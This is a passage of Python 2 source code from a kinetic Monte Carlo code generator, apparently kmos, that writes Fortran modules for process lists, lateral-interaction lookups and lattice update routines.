init_site = lattice2nr(lsite_old(1),lsite_old(2),lsite_old(3),lsite_old(4))\n' ) if not source_species == 0 and action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_new = lsite%s\n' % (action_coord)) out.write(' entry_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) out.write(' call source_process(entry_site,init_site,fin_site)\n' ) if not source_species == 0 and not action.coord == process.executing_coord(): if data.meta.debug > 0: out.write('print *,"PROCLIST/RUN_PROC_NR/ACTION","put %s_%s %s"\n' % (action.coord.layer, action.coord.name, action.species)) out.write(' lsite_new = lsite%s\n' % (action_coord)) out.write(' entry_site = lattice2nr(lsite_new(1),lsite_new(2),lsite_new(3),lsite_new(4))\n' ) out.write(' call source_process(entry_site,init_site,fin_site)\n' ) out.write(' displace_coord = matmul(unit_cell_size,(/(lsite_new(1)-lsite_old(1)),(lsite_new(2)-lsite_old(2)),(lsite_new(3)-lsite_old(3))/) + (site_positions(lsite_new(4),:) - site_positions(lsite_old(4),:)))\n' ) out.write('\n') out.write(' end select\n\n') out.write('end subroutine get_diff_sites_displacement\n\n') def _db_print(self, line, debug=False): """Write out debugging statement if requested.""" if debug: dbg_file = open('dbg_file.txt', 'a') dbg_file.write(line) dbg_file.close() def _get_lat_int_groups(self): data = self.data #TODO: now only for old style definition of processes (w/o bystanders) #FUTURE: insert switch and support new style definition of processes # FIRST: group processes by lateral interaction groups ################################################################ process_list = [] for process in data.process_list: actions = process.action_list # identify, which conditions # are truly changing and which are just bystanders true_conditions = [] true_actions = [] bystanders = [] #for condition in [x for x in process.condition_list if not x.implicit]: for condition in process.condition_list : corresponding_actions = [action for action in actions if condition.coord == action.coord] self._db_print('%s: %s <-> %s' % (process.name, condition, corresponding_actions)) if corresponding_actions: action = corresponding_actions[0] if condition.species != action.species: true_conditions.append(condition) true_actions.append(action) else: bystanders.append(condition) else: bystanders.append(condition) if hasattr(process, 'bystanders'): bystanders.extend(process.bystanders) # extra block for multi-lattice actions for action in actions: if action not in true_actions: if not(action.species.startswith('^') or action.species.startswith('$')): #raise UserWarning('Found unmatched action that is not a multi-lattice action: %s' % action) print(('UserWarning: Found unmatched action (%s) that is not a multi-lattice action: %s' % (process.name, action))) # turn exceptions into warning for now else: true_actions.append(action) process_list.append(SingleLatIntProcess( name=process.name, rate_constant=process.rate_constant, condition_list=true_conditions, action_list=true_actions, bystanders=bystanders, enabled=process.enabled, tof_count=process.tof_count,)) # SECOND: Group lateral interaction groups into dictionary ################################################################ lat_int_groups = {} for process in process_list: for lat_int_group, processes in lat_int_groups.iteritems(): p0 = processes[0] same = True # check if conditions are identical if sorted(p0.condition_list, key=lambda x: x.coord, cmp=cmp_coords) \ != sorted(process.condition_list, key=lambda x: x.coord, cmp=cmp_coords): same = False # check if actions are identical if sorted(p0.action_list, key=lambda x: x.coord, cmp=cmp_coords) \ != sorted(process.action_list, key=lambda x: x.coord, cmp=cmp_coords): same = False # check if coords of bystanders are identical if [x.coord for x in sorted(p0.bystanders, key=lambda x: x.coord, cmp=cmp_coords)] \ != [x.coord for x in sorted(process.bystanders, key=lambda x: x.coord, cmp=cmp_coords)]: same = False if same: self._db_print(' %s <- %s\n' % (lat_int_group, process.name)) processes.append(process) break else: lat_int_groups[process.name] = [process] self._db_print('* %s\n' % (process.name)) # correctly determined lat. int. groups, yay. #TODO: check if lat_int group is correct # i.e. # - each bystander list is unique # - all bystanders cover the same set of sites # let's assume it for now return lat_int_groups def write_proclist_lat_int(self, data, out, debug=False, accelerated=False): """ This a dumber version f the run_proc_nr routine. Though the source code it generates might be quite a bit smaller. On the downside, it might be a little less optimized though it is local in a very strict sense. [EXPERIMENTAL/UNFINISHED!!!] """ # initialize progress bar if os.name == 'posix': from kmos.utils.progressbar import ProgressBar progress_bar = ProgressBar('blue', width=80) progress_bar.render(10, 'generic part') # categorize elementary steps into # lateral interaction groups lat_int_groups = self._get_lat_int_groups() out.write(('module proclist\n' 'use kind_values\n' 'use base, only: &\n' ' update_accum_rate, &\n' ' update_integ_rate, &\n' ' determine_procsite, &\n' ' update_clocks, &\n' ' avail_sites, &\n')) if len(data.layer_list) == 1 : # multi-lattice mode out.write(' null_species, &\n') else: out.write(' set_null_species, &\n') if not accelerated: out.write(' increment_procstat\n\n') else: out.write((' increment_procstat, &\n' ' update_integ_rate_sb, &\n' ' update_eq_proc, &\n' ' check_proc_eq, &\n' ' unscale_reactions, &\n' ' scale_reactions, &\n' ' update_sum_sf, &\n' ' get_save_limit, &\n' ' save_execution, &\n' ' reset_saved_execution_data\n\n')) out.write('use lattice, only: &\n') site_params = [] for layer in data.layer_list: out.write(' %s, &\n' % layer.name) for site in layer.sites: site_params.append((site.name, layer.name)) for i, (site, layer) in enumerate(site_params): out.write((' %s_%s, &\n') % (layer, site)) out.write(' allocate_system, &\n' ' nr2lattice, &\n' ' lattice2nr, &\n' ' add_proc, &\n' ' can_do, &\n' ' set_rate_const, &\n' ' replace_species, &\n' ' del_proc, &\n' ' reset_site, &\n' ' system_size, &\n' ' spuck, &\n') out.write(' get_species\n') for i in range(len(lat_int_groups)): out.write('use run_proc_%04d; use nli_%04d\n' % (i, i)) out.write('\nimplicit none\n') representation_length = max([len(species.representation) for species in data.species_list]) out.write('integer(kind=iint), parameter, public :: representation_length = %s\n' % representation_length) if os.name == 'posix': out.write('integer(kind=iint), public :: seed_size = 12\n') elif os.name == 'nt': out.write('integer(kind=iint), public :: seed_size = 12\n') else: out.write('integer(kind=iint), public :: seed_size = 8\n') out.write('integer(kind=iint), public :: seed ! random seed\n') out.write('integer(kind=iint), public, dimension(:), allocatable :: seed_arr ! random seed\n') out.write('\n\ninteger(kind=iint), parameter, public :: nr_of_proc = %s\n'\ % (len(data.process_list))) if accelerated: out.write('\ninteger(kind=iint), public :: counter_sp\n' 'integer(kind=iint), public :: counter_ini\n' 'integer(kind=ishort), public :: debug\n') code_generator = 'lat_int' if code_generator == 'lat_int': out.write('\ncharacter(len=%s), parameter, public :: backend = "%s"\n' % (len(code_generator), code_generator)) elif code_generator == 'local_smart': pass # change nothing here, to not alter old code out.write('\ncontains\n\n') # write out the process list self.write_proclist_lat_int_run_proc_nr(data, lat_int_groups, progress_bar, out) self.write_proclist_lat_int_touchup(lat_int_groups, out) self.write_proclist_generic_subroutines(data, out, code_generator='lat_int', accelerated=accelerated) self.write_proclist_lat_int_run_proc(data, lat_int_groups, progress_bar) self.write_proclist_lat_int_nli_casetree(data, lat_int_groups, progress_bar) # and we are done! if os.name == 'posix': progress_bar.render(100, 'finished proclist.f90') def write_proclist_lat_int_run_proc_nr(self, data, lat_int_groups, progress_bar, out): """ subroutine run_proc_nr(proc, cell) Central function at the beginning of each executed elementary step. Dispatches from the determined process number to the corresponding subroutine. """ out.write('subroutine run_proc_nr(proc, nr_cell)\n') out.write(' integer(kind=iint), intent(in) :: nr_cell\n') out.write(' integer(kind=iint), intent(in) :: proc\n\n') out.write(' integer(kind=iint), dimension(4) :: cell\n\n') out.write(' cell = nr2lattice(nr_cell, :) + (/0, 0, 0, -1/)\n') out.write(' call increment_procstat(proc)\n\n') if data.meta.debug > 1: out.write(' print *, "PROCLIST/RUN_PROC_NR"\n') out.write(' print *, " PROCLIST/RUN_PROC_NR/PROC", proc\n') out.write(' print *, " PROCLIST/RUN_PROC_NR/NR_CELL", nr_cell\n') out.write(' print *, " PROCLIST/RUN_PROC_NR/CELL", cell\n') out.write(' select case(proc)\n') for lat_int_group, processes in lat_int_groups.iteritems(): proc_names = ', '.join([proc.name for proc in processes]) out.write(' case(%s)\n' % _chop_line(proc_names, line_length=60)) out.write(' call run_proc_%s(cell)\n' % lat_int_group) out.write(' case default\n') out.write(' print *, "Whoops, should not get here!"\n') out.write(' print *, "PROC_NR", proc\n') out.write(' stop\n') out.write(' end select\n\n') out.write('end subroutine run_proc_nr\n\n') def write_proclist_lat_int_touchup(self, lat_int_groups, out): """ The touchup function Updates the elementary steps that a cell can do given the current lattice configuration. This has to be run once for every cell to initialize the simulation book-keeping. """ out.write('subroutine touchup_cell(cell)\n') out.write(' integer(kind=iint), intent(in), dimension(4) :: cell\n\n') out.write(' integer(kind=iint), dimension(4) :: site\n\n') out.write(' integer(kind=iint) :: proc_nr\n\n') out.write(' site = cell + (/0, 0, 0, 1/)\n') out.write(' do proc_nr = 1, nr_of_proc\n') out.write(' if(avail_sites(proc_nr, lattice2nr(site(1), site(2), site(3), site(4)) , 2).ne.0)then\n') out.write(' call del_proc(proc_nr, site)\n') out.write(' endif\n') out.write(' end do\n\n') for lat_int_group, process in lat_int_groups.iteritems(): out.write(' call add_proc(nli_%s(cell), site)\n' % (lat_int_group)) out.write('end subroutine touchup_cell\n\n') def write_proclist_lat_int_run_proc(self, data, lat_int_groups, progress_bar): """ subroutine run_proc_<processname>(cell) Performs the lattice and avail_sites updates for a given process. """ for lat_int_loop, (lat_int_group, processes) in enumerate(lat_int_groups.iteritems()): out = open('%s/run_proc_%04d.f90' % (self.dir, lat_int_loop), 'w') self._db_print('PROCESS: %s' % lat_int_group) # initialize needed data structure process0 = processes[0] modified_procs = set() out.write('module run_proc_%04d\n' % lat_int_loop) out.write('use kind_values\n') for i in range(len(lat_int_groups)): out.write('use nli_%04d\n' % i) out.write('use proclist_constants\n') out.write('implicit none\n') out.write('contains\n') # write F90 subroutine definition out.write('subroutine run_proc_%s(cell)\n\n' % lat_int_group) out.write(' integer(kind=iint), dimension(4), intent(in) :: cell\n') out.write('\n ! disable processes that have to be disabled\n') # collect processes that could be modified by current process: # if current process modifies a site, that "another process" depends on, # add "another process" to the processes to be modified/updated. for action in process0.action_list: self._db_print(' ACTION: %s' % action) for _, other_processes in lat_int_groups.iteritems(): other_process = other_processes[0] self._db_print(' OTHER PROCESS %s' % (pformat(other_process, indent=12))) other_conditions = other_process.condition_list + other_process.bystanders self._db_print(' OTHER CONDITIONS\n%s' % pformat(other_conditions, indent=12)) for condition in other_conditions: if action.coord.eq_mod_offset(condition.coord): modified_procs.add((other_process, tuple(action.coord.offset-condition.coord.offset))) # sort to one well-defined orded modified_procs = sorted(modified_procs, key=lambda x: '%s %s' % (x[0].name, str(x[1])) ) # write out necessary DELETION statements for i, (process, offset) in enumerate(modified_procs): offset_cell = '(/%+i, %+i, %+i, 0/)' % tuple(offset) offset_site = '(/%+i, %+i, %+i, 1/)' % tuple(offset) out.write(' call del_proc(nli_%s(cell + %s), cell + %s)\n' % (process.name, offset_cell, offset_site)) # write out necessary LATTICE UPDATES out.write('\n ! update lattice\n') matched_actions = [] for condition in process0.condition_list: try: action = [action for action in process0.action_list if condition.coord == action.coord][0] except Exception, e: print(e) print('Trouble with process %s' % process.name) print('And condition %s' % condition) raise matched_actions.append(action) # catch "multi-lattice" species if action.species.startswith('$'): condition_species = condition.species action_species = 'null_species' elif action.species.startswith('^') : condition_species = 'null_species' action_species = action.species else: condition_species = condition.species action_species = action.species if len(condition_species.split(' or ') ) > 1 : out.write(' select case(get_species((cell%s)))\n' % (action.coord.radd_ff(),)) for condition_species in map(lambda x: x.strip(), condition_species.split(' or ')): out.write(' case(%s)\n' % condition_species) out.write(' call replace_species(cell%s, %s, %s)\n' % (action.coord.radd_ff(), condition_species, action_species)) out.write(' case default\n print *, "ILLEGAL SPECIES ENCOUNTERED"\n stop\n end select\n') else: out.write(' call replace_species(cell%s, %s, %s)\n' % (action.coord.radd_ff(), condition_species, action_species)) # extra part for multi-lattice action # without explicit condition for action in process0.action_list: if action not in matched_actions: #print(process0.name, action, not action in matched_actions) # catch "multi-lattice" species if action.species.startswith('$'): condition_species = action.species[1:] action_species = 'null_species' elif action.species.startswith('^') : condition_species = 'null_species' action_species = action.species[1:] else: raise UserWarning('Unmatched action that is not a multi-lattice action: %s' % (action)) print(condition_species) if len(condition_species.split(' or ') ) > 1 : out.write(' select case(get_species((cell%s)))\n' % (action.coord.radd_ff(),)) for condition_species in map(lambda x: x.strip(), condition_species.split(' or ')): out.write(' case(%s)\n' % condition_species) out.write(' call replace_species(cell%s, %s, %s)\n' % (action.coord.radd_ff(), condition_species, action_species)) out.write(' case default\n print *, "ILLEGAL SPECIES ENCOUNTERED"\n stop \nend select\n') else: out.write(' call replace_species(cell%s, %s, %s)\n' % (action.coord.radd_ff(), condition_species, action_species)) # write out necessary ADDITION statements out.write('\n ! enable processes that have to be enabled\n') for i, (process, offset) in enumerate(modified_procs): offset_cell = '(/%+i, %+i, %+i, 0/)' % tuple(offset) offset_site = '(/%+i, %+i, %+i, 1/)' % tuple(offset) out.write(' call add_proc(nli_%s(cell + %s), cell + %s)\n' % (process.name, offset_cell, offset_site)) out.write('\nend subroutine run_proc_%s\n\n' % lat_int_group) out.write('end module\n') if os.name == 'posix': progress_bar.render(int(10+40*float(lat_int_loop)/len(lat_int_groups)), 'run_proc_%s' % lat_int_group) def write_proclist_lat_int_nli_casetree(self, data, lat_int_groups, progress_bar): """ Write out subroutines that do the following: Take a given cell and determine from a group a processes that only differ by lateral interaction which one is possible. This version writes out explicit 'select case'-tree which is somewhat slower than the module version but can theoretically accomodate for infinitely many conditions for one elementary step. If no process is applicable an integer "0" is returned. """ for lat_int_loop, (lat_int_group, processes) in enumerate(lat_int_groups.iteritems()): out = open('%s/nli_%04d.f90' % (self.dir, lat_int_loop), 'w') out.write('module nli_%04d\n' % lat_int_loop) out.write('use kind_values\n') out.write('use lattice\n' ) out.write('use proclist_constants\n') out.write('implicit none\n') out.write('contains\n') fname = 'nli_%s' % lat_int_group if data.meta.debug > 0: out.write('function %(cell)\n' % (fname)) else: # DEBUGGING #out.write('function nli_%s(cell)\n' #% (lat_int_group)) out.write('pure function nli_%s(cell)\n' % (lat_int_group)) out.write(' integer(kind=iint), dimension(4), intent(in) :: cell\n') out.write(' integer(kind=iint) :: %s\n\n' % fname) ####################################################### # sort processes into a nested list (dictionary) # ordered by coords ####################################################### # first build up a tree where each result has all # the needed conditions as parent nodes case_tree = {} for process in processes: conditions = [y for y in sorted(process.condition_list + process.bystanders, key=lambda x: x.coord, cmp=cmp_coords) if not y.implicit] node = case_tree for condition in conditions: species_node = node.setdefault(condition.coord, {}) node = species_node.setdefault(condition.species, {}) species_node.setdefault('default', {fname: 0}) node[fname] = process.name # second write out the generated tree by traversing it _casetree_dict(case_tree, ' ', out) out.write('\nend function %s\n\n' % (fname)) out.write('end module\n') # update the progress bar if os.name == 'posix': progress_bar.render(int(50+50*float(lat_int_loop)/len(lat_int_groups)), 'nli_%s' % lat_int_group) def write_proclist_lat_int_nli_caselist(self, data, lat_int_groups, progress_bar, out): """ subroutine nli_<processname> nli = number of lateral interaction inspect a local enviroment for a set of processes that only differ by lateral interaction and return the process number corrresponding to the present configuration. If no process is applicable an integer "0" is returned. This version is the fastest found so far but has the problem that nr_of_species**nr_of_sites quickly runs over sys.max_int or whatever is the largest available integer for your Fortran compiler. """ for lat_int_loop, (lat_int_group, processes) in enumerate(lat_int_groups.iteritems()): process0 = processes[0] # put together the bystander conditions and true conditions, # sort them in a unique way and throw out those that are # implicit conditions0 = [y for y in sorted(process0.condition_list + process0.bystanders, key=lambda x: x.coord, cmp=cmp_coords) if not y.implicit] # DEBUGGING self._db_print(process0.name, conditions0) if data.meta.debug > 0: out.write('function nli_%s(cell)\n' % (lat_int_group)) else: # DEBUGGING #out.write('function nli_%s(cell)\n' #% (lat_int_group)) out.write('pure function nli_%s(cell)\n' % (lat_int_group)) out.write(' integer(kind=iint), dimension(4), intent(in) :: cell\n') out.write(' integer(kind=iint) :: nli_%s\n\n' % lat_int_group) # create mapping to map the sparse # representation for lateral interaction # into a contiguous one compression_map = {} #print("# proc %s" % len(processes)) for i, process in enumerate(sorted(processes)): # calculate lat. int. nr lat_int_nr = 0 if len(data.layer_list) > 1: nr_of_species = len(data.species_list) + 1 else: nr_of_species = len(data.species_list) conditions = [y for y in sorted(process.condition_list + process.bystanders, key=lambda x: x.coord, cmp=cmp_coords) if not y.implicit] for j, bystander in enumerate(conditions): species_nr = [x for (x, species) in enumerate(sorted(data.species_list)) if species.name == bystander.species][0] lat_int_nr += species_nr*(nr_of_species**j) #print(lat_int_nr, species.name, nr_of_species, j) compression_map[lat_int_nr] = process.name if lat_int_nr > sys.maxint : print(("Warning: Lateral interaction index is too large to compile.\n" " Try to reduce the number of (non-implicit conditions\n" " or the total number of species.\n\n%s") % process) # use a threshold of 1./3 for very sparse maps if float(len(compression_map))/(nr_of_species**len(conditions)) > 1./3 : USE_ARRAY = True else: USE_ARRAY = False # use generator object to save memory if USE_ARRAY: compression_index = (compression_map.get(i, 0) for i in xrange(nr_of_species**len(conditions0))) out.write(' integer, dimension(%s), parameter :: lat_int_index_%s = (/ &\n' % (len(compression_index), lat_int_group)) outstr = ', '.join(map(str, compression_index)) outstr = _chop_line(outstr) out.write(outstr) out.write('/)\n') out.write(' integer(kind=ilong) :: n\n\n') out.write(' n = 0\n\n') if data.meta.debug > 2: out.write('print *,"PROCLIST/NLI_%s"\n' % lat_int_group.upper()) out.write('print *," PROCLIST/NLI_%s/CELL", cell\n' % lat_int_group.upper()) for i, bystander in enumerate(conditions0): out.write(' n = n + get_species(cell%s)*nr_of_species**%s\n' % (bystander.coord.radd_ff(), i)) if USE_ARRAY : out.write('\n nli_%s = lat_int_index_%s(n)\n' % (lat_int_group, lat_int_group)) else: out.write('\n select case(n)\n') for i, proc_name in sorted(compression_map.iteritems()): if proc_name: out.write(' case(%s)\n' % i) out.write(' nli_%s = %s\n' % (lat_int_group, proc_name)) out.write(' case default\n') out.write(' nli_%s = 0\n' % lat_int_group) out.write(' end select\n\n') if data.meta.debug > 2: out.write('print *," PROCLIST/NLI_%s/N", n\n' % lat_int_group.upper()) out.write('print *," PROCLIST/NLI_%s/PROC_NR", nli_%s\n' % (lat_int_group.upper(), lat_int_group)) out.write('\nend function nli_%s\n\n' % (lat_int_group)) if os.name == 'posix': progress_bar.render(int(50+50*float(lat_int_loop)/len(lat_int_groups)), 'nli_%s' % lat_int_group) def write_proclist_put_take(self, data, out): """ HERE comes the bulk part of this code generator: the put/take/create/annihilation functions encode what all the processes we defined mean in terms updates for the geometry and the list of available processes The updates that disable available process are pretty easy and flat so they cannot be optimized much. The updates enabling processes are more sophisticasted: most processes have more than one condition. So enabling one condition of a processes is not enough. We need to check if all the other conditions are met after this update as well. All these checks typically involve many repetitive questions, i.e. we will inquire the lattice many times about the same site. To mend this we first collect all processes that could be enabled and then use a heuristic algorithm (any theoretical computer scientist knows how to improve on this?) to construct an improved if-tree """ for species in data.species_list: if species.name == data.species_list.default_species: continue # don't put/take 'empty' # iterate over all layers, sites, operations, process, and conditions ... for layer in data.layer_list: for site in layer.sites: for op in ['put', 'take']: enabled_procs = [] disabled_procs = [] # op = operation routine_name = '%s_%s_%s_%s' % (op, species.name, layer.name, site.name) out.write('subroutine %s(site)\n\n' % routine_name) out.write(' integer(kind=iint), dimension(4), intent(in) :: site\n\n') if data.meta.debug > 0: out.write('print *,"PROCLIST/%s/SITE",site\n' % (routine_name.upper(), )) out.write(' ! update lattice\n') if op == 'put': if data.meta.debug > 0: out.write('print *," LATTICE/REPLACE_SPECIES/SITE",site\n') out.write('print *," LATTICE/REPLACE_SPECIES/OLD_SPECIES","%s"\n' % data.species_list.default_species) out.write('print *," LATTICE/REPLACE_SPECIES/NEW_SPECIES","%s"\n' % species.name) out.write(' call replace_species(site, %s, %s)\n\n' % (data.species_list.default_species, species.name)) elif op == 'take': if data.meta.debug > 0: out.write('print *," LATTICE/REPLACE_SPECIES/SITE",site\n') out.write('print *," LATTICE/REPLACE_SPECIES/OLD_SPECIES","%s"\n' % species.name) out.write('print *," LATTICE/REPLACE_SPECIES/NEW_SPECIES","%s"\n' % data.species_list.default_species) out.write(' call replace_species(site, %s, %s)\n\n' % (species.name, data.species_list.default_species)) for process in data.process_list: for condition in process.condition_list: if site.name == condition.coord.name and \ layer.name == condition.coord.layer: # first let's check if we could be enabling any site # this can be the case if we put down a particle, and # it is the right one, or if we lift one up and the process # needs an empty site if op == 'put' \ and species.name == condition.species \ or op == 'take' \ and condition.species == data.species_list.default_species: # filter out the current condition, because we know we set it to true # right now other_conditions = filter(lambda x: x.coord != condition.coord, process.condition_list) # note how '-' operation is defined for Coord class ! # we change the coordinate part to already point at # the right relative site other_conditions = [ConditionAction( species=other_condition.species, coord=('site%s' % (other_condition.coord - condition.coord).radd_ff())) for other_condition in other_conditions] enabled_procs.append((other_conditions, (process.name, 'site%s' % (process.executing_coord() - condition.coord).radd_ff(), True))) # and we disable something whenever we put something down, and the process # needs an empty site here or if we take something and the process needs # something else elif op == 'put' \ and condition.species == data.species_list.default_species \ or op == 'take' \ and species.name == condition.species: coord = process.executing_coord() - condition.coord disabled_procs.append((process, coord)) # updating disabled procs is easy to do efficiently # because we don't ask any questions twice, so we do it immediately if disabled_procs: out.write(' ! disable affected processes\n') for process, coord in disabled_procs: if data.meta.debug > 1: out.write('print *," LATTICE/CAN_DO/PROC",%s\n' % process.name) out.write('print *," LATTICE/CAN_DO/VSITE","site%s"\n' % (coord).radd_ff()) out.write('print *," LATTICE/CAN_DO/SITE",site%s\n' % (coord).radd_ff()) #out.write((' if(can_do(%(proc)s, site%(coord)s))then\n' out.write((' if(avail_sites(%(proc)s, lattice2nr(%(unpacked)s), 2).ne.0)then\n' + ' call del_proc(%(proc)s, site%(coord)s)\n' + ' endif\n\n') % {'coord': (coord).radd_ff(), 'proc': process.name, 'unpacked': coord.site_offset_unpacked()}) # updating enabled procs is not so simply, because meeting one condition # is not enough. We need to know if all other conditions are met as well # so we collect all questions first and build a tree, where the most # frequent questions are closer to the top if enabled_procs: out.write(' ! enable affected processes\n') self._write_optimal_iftree(items=enabled_procs, indent=4, out=out) out.write('\nend subroutine %s\n\n' % routine_name) def write_proclist_touchup(self, data, out): for layer in data.layer_list: for site in layer.sites: routine_name = 'touchup_%s_%s' % (layer.name, site.name) out.write('subroutine %s(site)\n\n' % routine_name) out.write(' integer(kind=iint), dimension(4), intent(in) :: site\n\n') # First remove all process from this site for process in data.process_list: out.write(' if (can_do(%s, site)) then\n' % process.name) out.write(' call del_proc(%s, site)\n' % process.name) out.write(' endif\n') # Then add all available one items = [] for process in data.process_list: executing_coord = process.executing_coord() if executing_coord.layer == layer.name \ and executing_coord.name == site.name: condition_list = [ConditionAction( species=condition.species, coord='site%s' % (condition.coord - executing_coord).radd_ff(), ) for condition in process.condition_list] items.append((condition_list, (process.name, 'site', True))) self._write_optimal_iftree(items=items, indent=4, out=out) out.write('end subroutine %s\n\n' % routine_name) def write_proclist_multilattice(self, data, out): if len(data.layer_list) > 1: # where are in multi-lattice mode for layer in data.layer_list: for site in layer.sites: for special_op in ['create', 'annihilate']: enabled_procs = [] disabled_procs = [] routine_name = '%s_%s_%s' % (special_op, layer.name, site.name) out.write('subroutine %s(site, species)\n\n' % routine_name) out.write(' integer(kind=iint), intent(in) :: species\n') out.write(' integer(kind=iint), dimension(4), intent(in) :: site\n\n') out.write(' ! update lattice\n') if data.meta.debug > 0: out.write('print *,"PROCLIST/%s/SITE",site\n' % (routine_name.upper(), )) if special_op == 'create': if data.meta.debug > 0: out.write('print *," LATTICE/REPLACE_SPECIES/SITE",site\n') out.write('print *," LATTICE/REPLACE_SPECIES/OLD_SPECIES","null_species"\n') out.write('print *," LATTICE/REPLACE_SPECIES/NEW_SPECIES",species\n') out.write(' call replace_species(site, null_species, species)\n\n') elif special_op == 'annihilate': if data.meta.debug > 0: out.write('print *," LATTICE/REPLACE_SPECIES/SITE",site\n') out.write('print *," LATTICE/REPLACE_SPECIES/OLD_SPECIES",species\n') out.write('print *," LATTICE/REPLACE_SPECIES/NEW_SPECIES","null_species"\n') out.write(' call replace_species(site, species, null_species)\n\n') for process in data.process_list: for condition in filter(lambda condition: condition.coord.name == site.name and condition.coord.layer == layer.name, process.condition_list): if special_op == 'create': other_conditions = [ConditionAction( species=other_condition.species, coord=('site%s' % (other_condition.coord - condition.coord).radd_ff())) for other_condition in process.condition_list] enabled_procs.append((other_conditions, (process.name, 'site%s' % (process.executing_coord() - condition.coord).radd_ff(), True))) elif special_op == 'annihilate': coord = process.executing_coord() - condition.coord disabled_procs.append((process, coord)) if disabled_procs: out.write(' ! disable affected processes\n') for process, coord in disabled_procs: if data.meta.debug > 1: out.write('print *," LATTICE/CAN_DO/PROC",%s\n' % process.name) out.write('print *," LATTICE/CAN_DO/VSITE","site%s"\n' % (coord).radd_ff()) out.write('print *," LATTICE/CAN_DO/SITE",site%s\n' % (coord).radd_ff()) out.write((' if(can_do(%(proc)s, site%(coord)s))then\n' + ' call del_proc(%(proc)s, site%(coord)s)\n' + ' endif\n\n') % {'coord': (coord).radd_ff(), 'proc': process.name}) if enabled_procs: out.write(' ! enable affected processes\n') self._write_optimal_iftree(items=enabled_procs, indent=4, out=out) out.write('\nend subroutine %s\n\n' % routine_name) def write_proclist_end(self, out): out.write('end module proclist\n') def write_proclist_acf_end(self, out): out.write('end module proclist_acf\n') def _write_optimal_iftree(self, items, indent, out): # this function is called recursively # so first we define the ANCHORS or SPECIAL CASES # if no conditions are left, enable process immediately # I actually don't know if this tree is optimal # So consider this a heuristic solution which should give # on average better results than the brute force way for item in filter(lambda x: not x[0], items): # [1][2] field of the item determine if this search is intended for enabling (=True) or # disabling (=False) a process if item[1][2]: out.write('%scall add_proc(%s, %s)\n' % (' ' * indent, item[1][0], item[1][1])) else: out.write('%scall del_proc(%s, %s)\n' % (' ' * indent, item[1][0], item[1][1])) # and only keep those that have conditions items = filter(lambda x: x[0], items) if not items: return # now the GENERAL CASE # first find site, that is most sought after most_common_coord = _most_common([y.coord for y in _flatten([x[0] for x in items])]) # filter out list of uniq answers for this site answers = [y.species for y in filter(lambda x: x.coord == most_common_coord, _flatten([x[0] for x in items]))] uniq_answers = list(set(answers)) if self.data.meta.debug > 1: out.write('print *," LATTICE/GET_SPECIES/VSITE","%s"\n' % most_common_coord) out.write('print *," LATTICE/GET_SPECIES/SITE",%s\n' % most_common_coord) out.write('print *," LATTICE/GET_SPECIES/SPECIES",get_species(%s)\n' % most_common_coord) out.write('%sselect case(get_species(%s))\n' % ((indent) * ' ', most_common_coord)) for answer in uniq_answers: out.write('%scase(%s)\n' % ((indent) * ' ', answer)) # this very crazy expression matches at items that contain # a question for the same coordinate and have the same answer here nested_items = filter( lambda x: (most_common_coord in [y.coord for y in x[0]] and answer == filter(lambda y: y.coord == most_common_coord, x[0])[0].species), items) # pruned items are almost identical to nested items, except the have # the one condition removed, that we just met pruned_items = [] for nested_item in nested_items: conditions = filter(lambda x: most_common_coord != x.coord, nested_item[0]) pruned_items.append((conditions, nested_item[1])) items = filter(lambda x: x not in nested_items, items) self._write_optimal_iftree(pruned_items, indent + 4, out) out.write('%send select\n\n' % (indent * ' ',)) if items: # if items are left # the RECURSION II self._write_optimal_iftree(items, indent, out) def write_proclist_pars_otf(self,data,out,separate_files = False): '''Writes the proclist_pars.f90 files which implements the module in charge of doing i/o from python evaluated parameters, to fortran and also handles rate constants update at fortran level''' import tokenize import StringIO import itertools from kmos import evaluate_rate_expression from kmos import rate_aliases indent = 4 # First the GPL message # TODO Does this really belong here? out.write(self._gpl_message()) out.write('module proclist_pars\n') out.write('use kind_values\n') out.write('use base, only: &\n') out.write('%srates\n' % (' '*indent)) out.write('use proclist_constants\n') out.write('use lattice, only: &\n') site_params = [] for layer in data.layer_list: out.write('%s%s, &\n' % (' '*indent,layer.name)) for site in layer.sites: site_params.append((site.name,layer.name)) for site,layer in site_params: out.write('%s%s_%s, &\n' % (' '*indent,layer,site)) out.write('%sget_species\n' % (' '*indent)) out.write('\nimplicit none\n\n') units_list, masses_list, chempot_list = self._otf_get_auxilirary_params(data) # Define variables for the user defined parameteres out.write('! User parameters\n') for ip,parameter in enumerate(sorted(data.parameter_list, key=lambda x: x.name)): out.write('integer(kind=iint), public :: %s = %s\n' % (parameter.name,(ip+1))) out.write('real(kind=rdouble), public, dimension(%s) :: userpar\n' % len(data.parameter_list)) # Next, we need to put into the fortran module a placeholder for each of the # parameters that kmos.evaluate_rate_expression can replace, namely # mu_* and m_*. # For the chemical potentials and masses we need to explore all rate expressions # this code will repeat a lot of the logic on evaluate_rate_expression # Can we compress this?? out.write('\n! Constants\n') for const in units_list: out.write('real(kind=rdouble), parameter :: %s = %.10e\n' % (const, evaluate_rate_expression(const))) out.write('\n! Species masses\n') for mass in masses_list: out.write('real(kind=rdouble), parameter :: %s = %.10e\n' % (mass,evaluate_rate_expression(mass))) # Chemical potentials are different because we need to be able to update them if chempot_list: out.write('\n! Species chemical potentials\n') for iu,mu in enumerate(chempot_list): out.write('integer(kind=iint), public :: %s = %s\n' % (mu,(iu+1))) out.write('real(kind=rdouble), public, dimension(%s) :: chempots\n' % len(chempot_list)) after_contains = '' # Once this is done, we need to build routines that update user parameters and chempots after_contains = after_contains + ('subroutine update_user_parameter(param,val)\n') after_contains = after_contains + (' integer(kind=iint), intent(in) :: param\n') after_contains = after_contains + (' real(kind=rdouble), intent(in) :: val\n') after_contains = after_contains + (' userpar(param) = val\n') after_contains = after_contains + ('end subroutine update_user_parameter\n\n') after_contains = after_contains + ('subroutine get_user_parameter(param,val)\n') after_contains = after_contains + (' integer(kind=iint), intent(in) :: param\n') after_contains = after_contains + (' real(kind=rdouble), intent(out) :: val\n') after_contains = after_contains + (' val = userpar(param)\n') after_contains = after_contains + ('end subroutine get_user_parameter\n\n') if chempot_list: after_contains = after_contains + ('subroutine update_chempot(index,val)\n') after_contains = after_contains + (' integer(kind=iint), intent(in) :: index\n') after_contains = after_contains + (' real(kind=rdouble), intent(in) :: 